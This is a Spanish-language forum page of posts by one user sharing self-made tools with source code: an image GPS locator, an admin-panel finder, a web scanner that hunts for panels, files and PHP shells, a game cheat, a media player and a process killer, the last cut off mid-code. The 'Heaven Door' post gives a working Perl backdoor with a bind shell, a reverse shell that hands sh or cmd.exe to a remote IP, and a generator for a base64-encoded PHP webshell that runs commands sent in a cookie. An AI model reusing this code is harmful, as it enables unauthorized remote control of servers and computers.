Mostrar Mensajes

Esta sección te permite ver todos los posts escritos por este usuario. Ten en cuenta que sólo puedes ver los posts escritos en zonas a las que tienes acceso en este momento.

Temas - BigBear

Páginas: [1] 2 3 ... 20
1
Perl / [Perl] DH Image Locate 0.3
« en: Marzo 31, 2017, 04:25:50 pm »
Un script en Perl para localizar la coordenadas GPS de cualquier imagen que contenga este tag.

Si quieren el programa les redirige a google maps con las coordenadas encontradas.

El codigo :

Código: (perl) [Seleccionar]
#!usr/bin/perl
# DH Image Locate 0.3
#(C) Doddy Hackman 2016

use Image::ExifTool;
use Getopt::Long;
use Color::Output;
Color::Output::Init;

GetOptions(
    "dump_all=s"   => \$dump_all,
    "dump_gps_tags=s"  => \$dump_gps_tags,
    "locate=s"   => \$locate
);

head();

if ($dump_all) {

    if ( -f $dump_all ) {
        printear_titulo("[+] Finding information in : ");
        print $dump_all. "\n\n";
        dump_all($dump_all);
    }
    else {
        printear("[-] File not found\n");
    }

}
elsif ($dump_gps_tags) {

    if ( -f $dump_gps_tags ) {
        printear_titulo("[+] Finding GPS tags in : ");
        print $dump_gps_tags. "\n\n";
        dump_gps_tags_and_locate($dump_gps_tags,"0");
    }
    else {
        printear("[-] File not found\n");
    }
}
elsif ($locate) {

    if ( -f $locate ) {
        printear_titulo("[+] Scanning photo : ");
        print $locate. "\n\n";
        dump_gps_tags_and_locate($locate,"1");
    }
    else {
        printear("[-] File not found\n");
    }

} else {
    sintax();
}

copyright();

# Functions

sub dump_all {

    my $imagen_target = $_[0];

    my $datos_imagen       = new Image::ExifTool;
    my $informacion_imagen = $datos_imagen->ImageInfo($imagen_target);

    for my $abriendo_imagen ( $datos_imagen->GetFoundTags("Group0") ) {
        my $valor = $informacion_imagen->{$abriendo_imagen};
        printear("[+] $abriendo_imagen : ");
        print $valor. "\n";
    }

}

sub dump_gps_tags_and_locate {

my $imagen_target = shift;
my $locate = shift;

my $datos_imagen       = new Image::ExifTool;
my $informacion_imagen = $datos_imagen->ImageInfo($imagen_target);

my $latitud = $informacion_imagen->{GPSLatitude};
my $longitud = $informacion_imagen->{GPSLongitude};
my $altitud = $informacion_imagen->{GPSAltitude};
my $fecha = $informacion_imagen->{GPSDateTime};
my $posicion_real = $informacion_imagen->{GPSPosition};

my $finder_ready = 0;


if($latitud ne "") {
printear("[+] Latitude : ");
print $latitud. "\n";
} else {
printear("[-] Latitude : ");
print "Not Found". "\n";
}

if($longitud ne "") {
printear("[+] Longitude : ");
print $longitud. "\n";
} else {
printear("[-] Longitude : ");
print "Not Found". "\n";
}
   
    if($latitud ne "") {
printear("[+] Altitude : ");
print $altitud. "\n";
} else {
printear("[-] Altitude : ");
print "Not Found". "\n";
}
   
    if($fecha ne "") {
printear("[+] DateTime : ");
print $fecha. "\n";
} else {
printear("[-] DateTime : ");
print "Not Found". "\n";
}
   
    if($posicion_real ne "") {
printear("[+] Position : ");
print $posicion_real. "\n";
$finder_ready = 1;
} else {
printear("[-] Position : ");
print "Not Found". "\n";
$finder_ready = 0;
}

if($locate eq "1") {
if($finder_ready eq "1") {
my $gps_split = $posicion_real;
$gps_split =~ s/deg//g;
$gps_split =~ s/'//g;
$gps_split =~ s/"//g;
$gps_split =~ s/W//g;
$gps_split =~ s/N,/-/g;
$gps_split =~ s/  / /g;

my $url = "https://www.google.com.ar/maps/search/".$gps_split."/";

printear_titulo("\n[!] Position Located\n\n");
printear("[+] GPS : ");
print $gps_split."\n";

printear("\n[?] Open in browser [y,n] : ");
chomp(my $rta = <STDIN>);
if($rta=~/y/ig) {
printear_titulo("\n[+] Enjoy the program !\n");
system("start firefox \"" . $url."\"");
} else {
printear("\n[+] GoogleMaps : ");
print $url. "\n";
}

} else {
printear_titulo("\n[-] Position GPS not available");
}
}

}

# More Functions

sub printear {
    cprint( "\x036" . $_[0] . "\x030" );
}

sub printear_logo {
    cprint( "\x037" . $_[0] . "\x030" );
}

sub printear_titulo {
    cprint( "\x0310" . $_[0] . "\x030" );
}

sub sintax {

    printear("[+] Sintax : ");
    print "perl $0 <option> <value>\n";
    printear("\n[+] Options : \n\n");
    print "-dump_all <image> : Get all information of a image\n";
    print "-dump_gps <image> : Get all tags GPS of a image\n";
    print "-locate <image> : Locate Image in GoogleMaps\n";
    printear("\n[+] Example : ");
    print "perl dh_image_locate.pl -dump_all test.jpg\n";
    copyright();
}

sub head {
    printear_logo("\n-- == DH Image Locate 0.3 == --\n\n\n");
}

sub copyright {
    printear_logo("\n\n-- == (C) Doddy Hackman 2016 == --\n\n");
    exit(1);
}

#The End ?

Un video con ejemplos de uso :



Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
Github.

Eso seria todo.

2
Delphi / [Delphi] Admin Finder 1.0
« en: Febrero 23, 2017, 05:46:31 pm »
Un programa para buscar el panel de administracion usando threads para ser mas rápido y cómodo al usuario.

Una imagen :



El codigo :

Código: (delphi) [Seleccionar]
// Admin Finder 1.0
// (C) Doddy Hackman 2016

unit finder;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ExtCtrls, Vcl.StdCtrls,
  Vcl.ComCtrls, idHTTP, OtlThreadPool, OtlComm, OtlTask,
  OtlTaskControl, Vcl.Imaging.pngimage;

type
  TFormHome = class(TForm)
    imgLogo: TImage;
    gbEnterConfiguration: TGroupBox;
    lblPage: TLabel;
    lblThreads: TLabel;
    txtPage: TEdit;
    txtThreads: TEdit;
    udThreads: TUpDown;
    gbConsole: TGroupBox;
    mmOutput: TMemo;
    btnStart: TButton;
    btnStop: TButton;
    status: TStatusBar;
    procedure btnStopClick(Sender: TObject);
    procedure btnStartClick(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  FormHome: TFormHome;

implementation

{$R *.dfm}
// Functions

function message_box(title, message_text, type_message: string): string;
begin
  if not(title = '') and not(message_text = '') and not(type_message = '') then
  begin
    try
      begin
        if (type_message = 'Information') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONINFORMATION);
        end
        else if (type_message = 'Warning') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONWARNING);
        end
        else if (type_message = 'Question') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONQUESTION);
        end
        else if (type_message = 'Error') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONERROR);
        end
        else
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONINFORMATION);
        end;
        Result := '[+] MessageBox : OK';
      end;
    except
      begin
        Result := '[-] Error';
      end;
    end;
  end
  else
  begin
    Result := '[-] Error';
  end;
end;

function check_page(page: string): boolean;
var
  nave: TIdHTTP;
begin
  try
    begin
      nave := TIdHTTP.Create(nil);
      nave.Request.UserAgent :=
        'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0';
      nave.Get(page);
      if nave.ResponseCode = 200 then
      begin
        Result := True;
      end
      else
      begin
        Result := False;
      end;
      nave.Free();
    end;
  except
    begin
      Result := False;
    end;
  end;
end;

//

procedure TFormHome.btnStartClick(Sender: TObject);
var
  i: integer;
  path: string;
const
  paths: array [1 .. 250] of string = ('admin/admin.asp', 'admin/login.asp',
    'admin/index.asp', 'admin/admin.aspx', 'admin/login.aspx',
    'admin/index.aspx', 'admin/webmaster.asp', 'admin/webmaster.aspx',
    'asp/admin/index.asp', 'asp/admin/index.aspx', 'asp/admin/admin.asp',
    'asp/admin/admin.aspx', 'asp/admin/webmaster.asp',
    'asp/admin/webmaster.aspx', 'admin/', 'login.asp', 'login.aspx',
    'admin.asp', 'admin.aspx', 'webmaster.aspx', 'webmaster.asp',
    'login/index.asp', 'login/index.aspx', 'login/login.asp',
    'login/login.aspx', 'login/admin.asp', 'login/admin.aspx',
    'administracion/index.asp', 'administracion/index.aspx',
    'administracion/login.asp', 'administracion/login.aspx',
    'administracion/webmaster.asp', 'administracion/webmaster.aspx',
    'administracion/admin.asp', 'administracion/admin.aspx', 'php/admin/',
    'admin/admin.php', 'admin/index.php', 'admin/login.php', 'admin/system.php',
    'admin/ingresar.php', 'admin/administrador.php', 'admin/default.php',
    'administracion/', 'administracion/index.php', 'administracion/login.php',
    'administracion/ingresar.php', 'administracion/admin.php',
    'administration/', 'administration/index.php', 'administration/login.php',
    'administrator/index.php', 'administrator/login.php',
    'administrator/system.php', 'system/', 'system/login.php', 'admin.php',
    'login.php', 'administrador.php', 'administration.php', 'administrator.php',
    'admin1.html', 'admin1.php', 'admin2.php', 'admin2.html', 'yonetim.php',
    'yonetim.html', 'yonetici.php', 'yonetici.html', 'adm/',
    'admin/account.php', 'admin/account.html', 'admin/index.html',
    'admin/login.html', 'admin/home.php', 'admin/controlpanel.html',
    'admin/controlpanel.php', 'admin.html', 'admin/cp.php', 'admin/cp.html',
    'cp.php', 'cp.html', 'administrator/', 'administrator/index.html',
    'administrator/login.html', 'administrator/account.html',
    'administrator/account.php', 'administrator.html', 'login.html',
    'modelsearch/login.php', 'moderator.php', 'moderator.html',
    'moderator/login.php', 'moderator/login.html', 'moderator/admin.php',
    'moderator/admin.html', 'moderator/', 'account.php', 'account.html',
    'controlpanel/', 'controlpanel.php', 'controlpanel.html',
    'admincontrol.php', 'admincontrol.html', 'adminpanel.php',
    'adminpanel.html', 'admin1.asp', 'admin2.asp', 'yonetim.asp',
    'yonetici.asp', 'admin/account.asp', 'admin/home.asp',
    'admin/controlpanel.asp', 'admin/cp.asp', 'cp.asp',
    'administrator/index.asp', 'administrator/login.asp',
    'administrator/account.asp', 'administrator.asp', 'modelsearch/login.asp',
    'moderator.asp', 'moderator/login.asp', 'moderator/admin.asp',
    'account.asp', 'controlpanel.asp', 'admincontrol.asp', 'adminpanel.asp',
    'fileadmin/', 'fileadmin.php', 'fileadmin.asp', 'fileadmin.html',
    'administration.html', 'sysadmin.php', 'sysadmin.html', 'phpmyadmin/',
    'myadmin/', 'sysadmin.asp', 'sysadmin/', 'ur-admin.asp', 'ur-admin.php',
    'ur-admin.html', 'ur-admin/', 'Server.php', 'Server.html', 'Server.asp',
    'Server/', 'wpadmin/', 'administr8.php', 'administr8.html', 'administr8/',
    'administr8.asp', 'webadmin/', 'webadmin.php', 'webadmin.asp',
    'webadmin.html', 'administratie/', 'admins/', 'admins.php', 'admins.asp',
    'admins.html', 'administrivia/', 'Database_Administration/', 'WebAdmin/',
    'useradmin/', 'sysadmins/', 'admin1/', 'systemadministration/',
    'administrators/', 'pgadmin/', 'directadmin/', 'staradmin/',
    'ServerAdministrator/', 'SysAdmin/', 'administer/', 'LiveUser_Admin/',
    'sysadmin/', 'typo3/', 'panel/', 'cpanel/', 'cPanel/', 'cpanel_file/',
    'platz_login/', 'rcLogin/', 'blogindex/', 'formslogin/', 'autologin/',
    'support_login/', 'meta_login/', 'manuallogin/', 'simpleLogin/',
    'loginflat/', 'utility_login/', 'showlogin/', 'memlogin/', 'members/',
    'login-redirect/', 'sublogin/', 'wplogin/', 'login1/', 'dirlogin/',
    'login_db/', 'xlogin/', 'smblogin/', 'customer_login/', 'UserLogin/',
    'loginus/', 'acct_login/', 'admin_area/', 'bigadmin/', 'project-admins/',
    'phppgadmin/', 'pureadmin/', 'sqladmin/', 'radmind/', 'openvpnadmin/',
    'wizmysqladmin/', 'vadmind/', 'ezsqliteadmin/', 'hpwebjetadmin/',
    'newsadmin/', 'adminpro/', 'Lotus_Domino_Admin/', 'bbadmin/', 'vmailadmin/',
    'Indy_admin/', 'ccp14admin/', 'irc-macadmin/', 'banneradmin/', 'sshadmin/',
    'phpldapadmin/', 'macadmin/', 'administratoraccounts/', 'admin4_account/',
    'admin4_colon/', 'radmind1/', 'SuperAdmin/', 'AdminTools/', 'cmsadmin/',
    'SysAdmin2/', 'globes_admin/', 'cadmins/', 'phpSQLiteAdmin/',
    'navSiteAdmin/', 'server_admin_small/', 'logo_sysadmin/', 'server/',
    'database_administration/', 'power_user/', 'system_administration/',
    'ss_vms_admin_sm/');
begin
  if not(txtPage.Text = '') and not(txtThreads.Text = '') then
  begin
    GlobalOmniThreadPool.MaxExecuting := StrToInt(txtThreads.Text) *
      System.CPUCount;
    status.Panels[0].Text := '[+] Scanning ...';
    FormHome.Update;
    for i := Low(paths) to High(paths) do
    begin
      Application.ProcessMessages;
      path := txtPage.Text + '/' + paths[i];
      CreateTask(
        procedure(const task: IOmniTask)
        var
          path_to_load: string;
        begin

          path_to_load := task.Param['path'].AsString;

          status.Panels[0].Text := 'Checking : ' + path_to_load + ' ...';
          FormHome.Update;
          if (check_page(path_to_load)) then
          begin
            mmOutput.Lines.Add(path_to_load);
          end;

        end).SetParameter('path', path).Unobserved.Schedule;

    end;

    while GlobalOmniThreadPool.CountExecuting +
      GlobalOmniThreadPool.CountQueued > 0 do
    begin
      Application.ProcessMessages;
    end;

    status.Panels[0].Text := '[+] Finished';
    FormHome.Update;

    message_box('Admin Finder 1.0', 'Scan Finished', 'Information');

  end
  else
  begin
    message_box('Admin Finder 1.0', 'Complete the configuration', 'Warning');
  end;
end;

procedure TFormHome.btnStopClick(Sender: TObject);
begin
  GlobalOmniThreadPool.CancelAll;
  status.Panels[0].Text := '[+] Stopped';
  FormHome.Update;
  message_box('Admin Finder 1.0', 'Scan Stopped', 'Information');
end;

end.

// The End ?

Si quieren bajar el programa y el proyecto con el codigo fuente lo pueden hacer desde aca :

SourceForge.

Eso seria todo.

3
Delphi / [Delphi] DH SAMP Cheater 0.4
« en: Febrero 09, 2017, 08:41:15 pm »
Un programa que hice en Delphi para automatizar los comandos cuando juego al GTA San Andreas Online (SAMP) , esta hecho exclusivamente para el servidor UIF.

Simplemente usan el atajo de teclado cuando esten jugando y el comando se ejecutara.

Una imagen :



Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.

Eso seria todo.

4
Perl / [Perl] DH Secret Finder 0.8
« en: Enero 22, 2017, 09:36:42 am »
Un script en Perl que sirve como buscador de archivos web , tiene las siguientes opciones :

  • Buscar panel de administracion
  • Buscar dominios
  • Buscar directorios importantes
  • Buscar archivos importantes
  • Buscar PHP Shells
  • Guardar todo en logs


El codigo :

Código: (perl) [Seleccionar]
# !usr/bin/perl
# DH Secret Finder 0.8
# (C) Doddy Hackman 2016
# Credits for the arrays :
# Dirs : directory-list-2.3-small.txt - Copyright 2007 James Fisher
# Files : Based in wfuzz-1.4
# Link for Files : https://raw.githubusercontent.com/tuwid/darkc0de-old-stuff/master/wfuzz-1.4/wordlists/common.txt
# Shells : Based in https://github.com/bhavyanshu/Shell-Finder

use LWP::UserAgent;
use Getopt::Long;
use Color::Output;
Color::Output::Init;

GetOptions(
"panels"   => \$panels,
"domains"   => \$domains,
    "dirs"  => \$dirs,
    "files"   => \$files,
    "shells"   => \$shells,
"url=s"   => \$url,
    "savefile=s"  => \$savefile,
    "verbose"  => \$verbose
);

head();

if ($panels) {
if($panels && $url) {
search($url,"panel");
} else {
sintax();
}
}
elsif ($domains) {
if($domains && $url) {
search($url,"domain");
} else {
sintax();
}
}
elsif ($dirs) {
if($dirs && $url) {
search($url,"dir");
} else {
sintax();
}
}
elsif ($files) {
if($files && $url) {
search($url,"file");
} else {
sintax();
}
}
elsif ($shells) {
if($shells && $url) {
search($url,"shell");
} else {
sintax();
}
}
else {
    sintax();
}

copyright();

# Functions

sub search {
my ($url,$type) = @_;

my $wordlist = "";
my $name = "";

if($type eq "panel") {
$wordlist = "wordlists/panels.txt";
$name = "Panels";
} elsif($type eq "domain") {
$wordlist = "wordlists/domains.txt";
$name = "Domains";
} elsif($type eq "dir") {
$wordlist = "wordlists/directories.txt";
$name = "Directories";
} elsif($type eq "file") {
$wordlist = "wordlists/files.txt";
$name = "Files";
} elsif($type eq "shell") {
$wordlist = "wordlists/shells.txt";
$name = "Shells";
} else {
$wordlist = "wordlists/panels.txt";
$name = "Panels";
}

my $cantidad = 0;

if(-f $wordlist) {
printear_titulo("[+] Loading Wordlist ...\n");
my @wordlist = load_wordlist($wordlist);
printear("\n[+] Wordlist Loaded : ");
print int(@wordlist)." lines\n";
printear_logo("\n[+] Searching $name in $url ...\n\n");
for my $line(@wordlist) {
chomp $line;
my $link = "";
if($type eq "domain") {
$link = $line.".".$url;
} else {
$link = $url."/".$line;
}
if(check_page($link)) {
if($verbose) {
printear("[+] Checking ");
printear_logo("$link : ");
printear_azul("OK\n");
} else {
printear_azul("[+] Link : $link\n");
}
$cantidad++;
if($savefile) {
savefile($savefile,"[+] Link : $link");
}
} else {
if($verbose) {
printear("[+] Checking ");
printear_logo("$link : ");
printear_rojo("FAIL\n");
}
}
}
printear("\n[+] $name Found : ");
print "$cantidad\n";
if($cantidad eq "0") {
printear("\n[-] $name not found\n");
}
if($savefile) {
printear_logo("\n[+] Logs $savefile saved\n");
}
printear_titulo("\n[+] Finished\n");
} else {
printear_rojo("\n[-] Wordlist not exists");
}
}

# More Functions

sub check_page {
my $url = shift;
my $nave = LWP::UserAgent->new(ssl_opts => {verify_hostname => 0,SSL_verify_mode => IO::Socket::SSL::SSL_VERIFY_NONE});
$nave->agent("Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0");
$nave->timeout(10);
my $code = $nave->get($url);
if ($code->is_success) {
return 1;
} else {
return 0;
}
}

sub load_wordlist {
    my @result;
    my @words;
    open( FILE, $_[0] );
    @words = <FILE>;
    close FILE;
    for (@words) {
        push( @result, $_ );
    }
    return (@result);
}

sub savefile {
my ($filename,$text) = @_;
open( SAVE, ">>" . $filename );
print SAVE $text . "\n";
close SAVE;
}

sub printear {
    cprint( "\x036" . $_[0] . "\x030" );
}

sub printear_logo {
    cprint( "\x037" . $_[0] . "\x030" );
}

sub printear_titulo {
    cprint( "\x0310" . $_[0] . "\x030" );
}

sub printear_rojo {
    cprint( "\x035" . $_[0] . "\x030" );
}

sub printear_azul {
    cprint( "\x033" . $_[0] . "\x030" );
}

sub sintax {
    printear("[+] Sintax : ");
    print "perl $0 <option> <value>\n";
    printear("\n[+] Options : \n\n");
    print "-panel -url <url> : Find panel administration in the URL\n";
    print "-domain -url <url> : Find domains in the URL\n";
    print "-dirs -url <url> : Find directories in the URL\n";
    print "-files -url <url> : Find files in the URL\n";
print "-shells -url <url> : Find shells in the URL\n";
print "-savefile <filename> : Save results\n";
    printear("\n[+] Example : ");
    print "perl secret_finder.pl -shells http://localhost/ -savefile results.txt\n";
    copyright();
}

sub head {
    printear_logo("\n-- == DH Secret Finder 0.8 == --\n\n\n");
}

sub copyright {
    printear_logo("\n\n-- == (C) Doddy Hackman 2016 == --\n\n");
    exit(1);
}

#The End ?

Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
Github.

Eso seria todo.

5
Perl / [Perl] Heaven Door 1.0
« en: Enero 20, 2017, 09:14:38 am »
Un script en Perl que funciona como backdoor con las siguientes opciones :

  • Backdoor
  • Reverse Shell
  • Generar backdoor PHP
  • Conectar con backdoor PHP


El codigo :

Código: (perl) [Seleccionar]
# !usr/bin/perl
# Heaven Door 1.0
# (C) Doddy Hackman 2016

use LWP::UserAgent;
use MIME::Base64;
use IO::Socket;
use IO::Socket::SSL;
use Cwd;
use Getopt::Long;
use Color::Output;
Color::Output::Init;

GetOptions(
"backdoor"   => \$backdoor,
"reverse"   => \$reverse,
"ip=s"   => \$ip,
    "port=s"   => \$port,
    "generate_backdoor"  => \$generate_backdoor,
    "filename=s"  => \$filename,
    "connect_backdoor"   => \$connect_backdoor,
    "url=s"   => \$url
);

head();

if ($backdoor) {
if($backdoor && $port) {
backdoor($port);
} else {
sintax();
}
}
elsif ($reverse) {
if($reverse && $ip && $port) {
reverse_shell($ip,$port);
} else {
sintax();
}
}
elsif ($generate_backdoor) {
if($filename) {
cargar_generador_backdoor($filename);
} else {
sintax();
}
}
elsif ($connect_backdoor) {
if($url) {
cargar_consola_backdoor($url);
} else {
sintax();
}
}
else {
    sintax();
}

copyright();

# Functions

# Simple backdoor

sub backdoor {

my($port) = @_;

$backdoor = IO::Socket::INET->new(Proto=> 'tcp',LocalPort =>$port,Listen=> SOMAXC,Reuse=> 1);

printear("[+] Heaven_Door : ");
print "Online\n";
printear("[+] Port : ");
print "$port\n";
printear("[+] PID : ");
print "$$\n\n";

printear_titulo("[+] Connected");

while ($jesus = $backdoor->accept()) {
$jesus->autoflush(1);
print $jesus "[+] Heaven_Door : Online\n[+] Port : 25256\n[+] PID : ".$$."\n\n";
print $jesus "Welcome  ".$jesus->peerhost."\n\n";
&extras;
$dir = getcwd();
print $jesus $dir.">>";
while (<$jesus>) {
my $yeah = qx($_);
print $jesus "\n\n".$yeah."\n\n";
print $jesus $dir.">>";
}
}

sub extras {

if ($^O =~/Win32/ig) {
use if $^O eq "MSWin32", "Win32";
print $jesus "[+] Domain Name : ".Win32::DomainName()."\n";
print $jesus "[+] OS Version : ".Win32::GetOSName()."\n";
print $jesus "[+] Username : ".Win32::LoginName()."\n\n";
} else {
$output =  `uname -a`;
print $jesus "--==System Info==--\n\n".$output."\n";
}
}

}

#

# Reverse Shell

sub reverse_shell {
my($ip,$port) = @_;
printear_titulo("[+] Reverse Shell : ");
print "Loaded\n\n";
printear("[+] IP to connect : ");
print $ip."\n";
printear("[+] Port : ");
print $port."\n\n";
printear_logo("[+] Connecting ...\n\n");
socket(REVERSE, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
connect(REVERSE, sockaddr_in($port,inet_aton($ip)));
printear_titulo("[+] Reverse Shell successful\n\n");
open (STDIN,">&REVERSE");
open (STDOUT,">&REVERSE");
open (STDERR,">&REVERSE");
tipo();
printear_logo("[+] Disconnecting ...\n\n");
}

sub tipo {
if ($^O =~/Win32/ig) {
infowin();
system("cmd.exe");
} else {
infolinux();
system("export TERM=xterm;exec sh -i");
}
}

sub infowin {
use if $^O eq "MSWin32", "Win32";
print "[+] Domain Name : ".Win32::DomainName()."\n";
print "[+] OS Version : ".Win32::GetOSName()."\n";
print "[+] Username : ".Win32::LoginName()."\n\n";
}

sub infolinux {
print "[+] System information\n\n";
system("uname -a");
print "\n";
}

#

# More Functions

sub cargar_consola_backdoor {
printear("[+] Checking Backdoor ...\n\n");
my $check1 = cargar_comando($url,"ver");
my $check2 = cargar_comando($url,"uname -a");
if(check_backdoor($check1) or check_backdoor($check2)) {
printear_logo("[+] Backdoor Loaded\n");
my($url) = @_;
while(1) {
printear("\n[+] Command : ");
chomp( my $comando = <stdin> );
if ( $comando =~ /exit/ ) {
copyright();
}
my $code = cargar_comando($url,$comando);
if(check_backdoor($code)) {
my $output = extract_command_backdoor($code);
if($output ne "") {
printear_titulo("\n".$output."\n");
} else {
printear_titulo("\n"."[-] Invalid command"."\n");
}
} else {
printear_titulo("\n"."[-] Invalid command"."\n");
}
}
} else {
printear_logo("[+] Backdoor not exists\n");
}
}

sub check_backdoor {
my $text = shift;
if($text=~/\[code\_heaven\](.*?)\[\/code\_heaven\]/s) {
return 1;
} else {
return 0;
}
}

sub extract_command_backdoor {
my $text = shift;
if($text=~/\[code\_heaven\](.*?)\[\/code\_heaven\]/s) {
return $1;
} else {
return "";
}
}

sub cargar_generador_backdoor {
my $filename = shift;
if(-f $filename) {
unlink($filename);
}
printear_titulo("[+] Generating backdoor ...\n\n");
generar_backdoor($filename);
if(-f $filename) {
printear("[+] Backdoor $filename generated !\n");
} else {
printear("[-] Error generating backdoor\n");
}
}

sub generar_backdoor {
my $filename = shift;
my $code = "PD9waHAgaWYgKGlzc2V0KCRfQ09PS0lFWyJoZWF2ZW5fZG9vcl9oZXJlIl0pICYmICFlbXB0eSgkX0NPT0tJRVsiaGVhdmVuX2Rvb3JfaGVyZSJdKSkgeyAJJGNvZGUgPSAiIjsgCSRvdXRwdXQgPSAiIjsgCWV4ZWMoJF9DT09LSUVbImhlYXZlbl9kb29yX2hlcmUiXSwkY29kZSk7IAlmb3JlYWNoICgkY29kZSBhcyAkbGluZSkgeyAJCSRvdXRwdXQgPSAkb3V0cHV0IC4gJGxpbmUuIlxuIjsgCX0gCWVjaG8gYmFzZTY0X2VuY29kZSgiW2NvZGVfaGVhdmVuXSIuJG91dHB1dC4iWy9jb2RlX2hlYXZlbl0iKTsgfSA";
savefile($filename,decode_base64($code));
}

sub cargar_comando {
my($url,$command) = @_;
my $nave = LWP::UserAgent->new(ssl_opts => {verify_hostname => 0,SSL_verify_mode => IO::Socket::SSL::SSL_VERIFY_NONE});
$nave->agent("Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0");
$nave->timeout(10);
my $contenido = $nave->get($url,Cookie => "heaven_door_here=".$command)->content;
return decode_base64($contenido);
}

sub savefile {
my ($filename,$text) = @_;
open( SAVE, ">>" . $filename );
print SAVE $text . "\n";
close SAVE;
}

sub printear {
    cprint( "\x036" . $_[0] . "\x030" );
}

sub printear_logo {
    cprint( "\x037" . $_[0] . "\x030" );
}

sub printear_titulo {
    cprint( "\x0310" . $_[0] . "\x030" );
}

sub sintax {

    printear("[+] Sintax : ");
    print "perl $0 <option> <value>\n";
    printear("\n[+] Options : \n\n");
    print "-backdoor -port <port> : Enable backdoor in port\n";
    print "-reverse -ip <ip> -port <port> : Get all tags GPS of a image\n";
    print "-generate_backdoor -filename <filename> : Generate backdoor in filename\n";
    print "-connect_backdoor -url <url> : Connect to backdoor in URL\n";
    printear("\n[+] Example : ");
    print "perl heaven_door.pl -reverse -ip 127.0.0.1 -port 666\n";
    copyright();
}

sub head {
    printear_logo("\n-- == Heaven Door 1.0 == --\n\n\n");
}

sub copyright {
    printear_logo("\n\n-- == (C) Doddy Hackman 2016 == --\n\n");
    exit(1);
}

#The End ?

Un video con ejemplos de uso :



Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
Github.

Eso seria todo.

6
C# - VB.NET / [C#] DH Player 1.2 (Regalo de navidad)
« en: Diciembre 25, 2016, 07:47:52 pm »
Como regalo de navidad , esta vez les traigo un reproductor de musica y peliculas que hice en C# usando WPF con las siguientes opciones :

  • Reproduce musica y videos a pantalla completa
  • Soporta Drag and Drop para reproducir canciones y videos
  • Pueden subir volumen y poner la posicion que quieran
  • Tienen opcion para repetir una cancion o reproducir una carpeta entera automaticamente
  • Pueden poner mute


* Formatos de musica soportados : mp3,m4a,wma
* Formato de videos soportados : avi,mp4,flv,mkv,wmv,mpg

  • Estaciones de radios de tipo : Rock,Electronica,Rap,Country,Musica clasica y mas generos ...
  • Tambien se puede reproducir cualquier radio online desde su link correspondiente


* Las opciones de radio funcionan gracias a mplayer portable , no borren la carpeta "mplayer".

Una imagen :



Si quieren bajar el programa lo pueden hacer de aca :

SourceForge.
Github.

Eso es todo.

7
Delphi / [Delphi] DH Process Killer 0.5
« en: Diciembre 10, 2016, 09:32:50 pm »
Un programa en Delphi para listar los procesos de Windows y darles muerte si quieren.

Se puede matar procesos por nombre,pid y por hash md5.

Una imagen :



El codigo :

Código: (delphi) [Seleccionar]
// Program : DH Process Killer
// Version : 0.5
// (C) Doddy Hackman 2016

unit ProcessKiller;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ExtCtrls, Vcl.StdCtrls,
  Vcl.ComCtrls, tlhelp32, PsAPI, Vcl.ImgList, ShellApi, Vcl.Menus,
  Vcl.Styles.Utils.ComCtrls, Vcl.Styles.Utils.Menus,
  Vcl.Styles.Utils.SysStyleHook,
  Vcl.Styles.Utils.SysControls, Vcl.Styles.Utils.Forms,
  Vcl.Styles.Utils.StdCtrls, Vcl.Styles.Utils.ScreenTips, DH_Tools,
  Vcl.Imaging.pngimage;

type
  TFormHome = class(TForm)
    imgLogo: TImage;
    gbProcessFound: TGroupBox;
    lvProcess: TListView;
    status: TStatusBar;
    pmOpciones: TPopupMenu;
    RefreshList: TMenuItem;
    K1: TMenuItem;
    KillSelected: TMenuItem;
    KillByPID: TMenuItem;
    KillByName: TMenuItem;
    KillByMD5: TMenuItem;
    ilIconos: TImageList;
    ilIconosProcesos: TImageList;
    procedure FormCreate(Sender: TObject);
    procedure RefreshListClick(Sender: TObject);
    procedure KillSelectedClick(Sender: TObject);
    procedure KillByPIDClick(Sender: TObject);
    procedure KillByNameClick(Sender: TObject);
    procedure KillByMD5Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
    procedure listar_procesos;
    function kill_process(option: string; arg: string): bool;
  end;

type
  TParametros = record
    Handle: Thandle;
    pid_global: DWORD;
  end;

  parametros_globales = ^TParametros;

var
  FormHome: TFormHome;

implementation

{$R *.dfm}
// Functions

function message_box(title, message_text, type_message: string): string;
begin
  if not(title = '') and not(message_text = '') and not(type_message = '') then
  begin
    try
      begin
        if (type_message = 'Information') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONINFORMATION);
        end
        else if (type_message = 'Warning') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONWARNING);
        end
        else if (type_message = 'Question') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONQUESTION);
        end
        else if (type_message = 'Error') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONERROR);
        end
        else
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONINFORMATION);
        end;
        Result := '[+] MessageBox : OK';
      end;
    except
      begin
        Result := '[-] Error';
      end;
    end;
  end
  else
  begin
    Result := '[-] Error';
  end;
end;

// Get path of process

function get_path_by_pid(process_pid: integer): string;
type
